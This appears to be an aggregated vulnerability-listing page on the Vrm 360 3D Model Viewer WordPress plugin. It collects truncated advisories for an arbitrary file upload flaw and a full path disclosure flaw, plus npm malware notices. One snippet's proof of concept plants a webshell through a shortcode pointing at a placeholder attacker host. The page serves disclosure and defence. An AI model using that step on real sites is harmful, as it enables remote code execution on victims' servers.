WordPress Plugin Vrm 360 3D Model Viewer Security Vulnerability

WordPress and WordPress plugin are both products of the WordPress Foundation.WordPress is a blogging platform developed using the PHP language. The platform supports personal blog sites on PHP and MySQL servers.WordPress plugin is an application plugin. A security vulnerability exists in WordPres...

CVE-2023-4311: Unrestricted Upload of File with Dangerous Type

The Vrm 360 3D Model Viewer WordPress plugin through 1.2.1 is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode...

Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE

Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...

Path traversal

The Vrm 360 3D Model Viewer WordPress plugin through 1.2.1 exposes the full path of a file when putting in a non-existent file in a parameter of the shortcode...

CVE-2023-5177

CVE-2023-5177 affects the Vrm 360 3D Model Viewer WordPress plugin (

CVE-2023-5177: Undefined Security Weakness

The Vrm 360 3D Model Viewer WordPress plugin through 1.2.1 exposes the full path of a file when putting in a non-existent file in a parameter of the shortcode...

PT-2023-31888

Name of the Vulnerable Software and Affected Versions Vrm 360 3D Model Viewer WordPress plugin versions 1.2.1 and earlier Description The issue exposes the full path of a file when a non-existent file is specified in a parameter of the shortcode. Recommendations For versions 1.2.1 and earlier,...

WordPress plugin Vrm 360 3D Model Viewer security vulnerability

WordPress and WordPress plugin are both products of the WordPress Foundation.WordPress is a blogging platform developed using the PHP language. WordPress plugin is an application plugin that supports personal blogs on PHP and MySQL servers. A security vulnerability exists in the WordPress plugin...

WordPress Vrm 360 3D Model Viewer Plugin <= 1.2.1 is vulnerable to Sensitive Data Exposure

Software Vrm 360 3D Model Viewer Type Plugin Vulnerable versions = 1.2.1 Fixed in N/A OWASP Top 10 A5: Security Misconfiguration Classification Sensitive Data Exposure CVE CVE-2023-5177 Patch priority Low CVSS severity Low 4.3 Developer Claim ownership PSID 41f6e6c8c32c Credits Jonatas Souza Vill...

Vrm 360 3D Model Viewer <= 1.2.1 - Full Path Disclosure

Description The plugin exposes the full path of a file when putting in a non-existent file in a parameter of the shortcode. 1. Create a page 2. Place the shortcode vrm360 canvasname=s1 modelurl=SACharacter.zip aspectratio=1.8 initialoffset=0.9 on the page SACharacter.zip should be a non-existent...

Vrm 360 3D Model Viewer <= 1.2.1 - Full Path Disclosure

Description The plugin exposes the full path of a file when putting in a non-existent file in a parameter of the shortcode. PoC 1. Create a page 2. Place the shortcode vrm360 canvasname=s1 modelurl=SACharacter.zip aspectratio=1.8 initialoffset=0.9 on the page SACharacter.zip should be a...

MAL-2022-4661 Malicious code in model-viewer-packages (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 64a6510ed6774a9a9f63fc275e2e6d48ee5d8151ac86abe03ed55fe44c75ead2 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in model-viewer-packages (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 64a6510ed6774a9a9f63fc275e2e6d48ee5d8151ac86abe03ed55fe44c75ead2 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...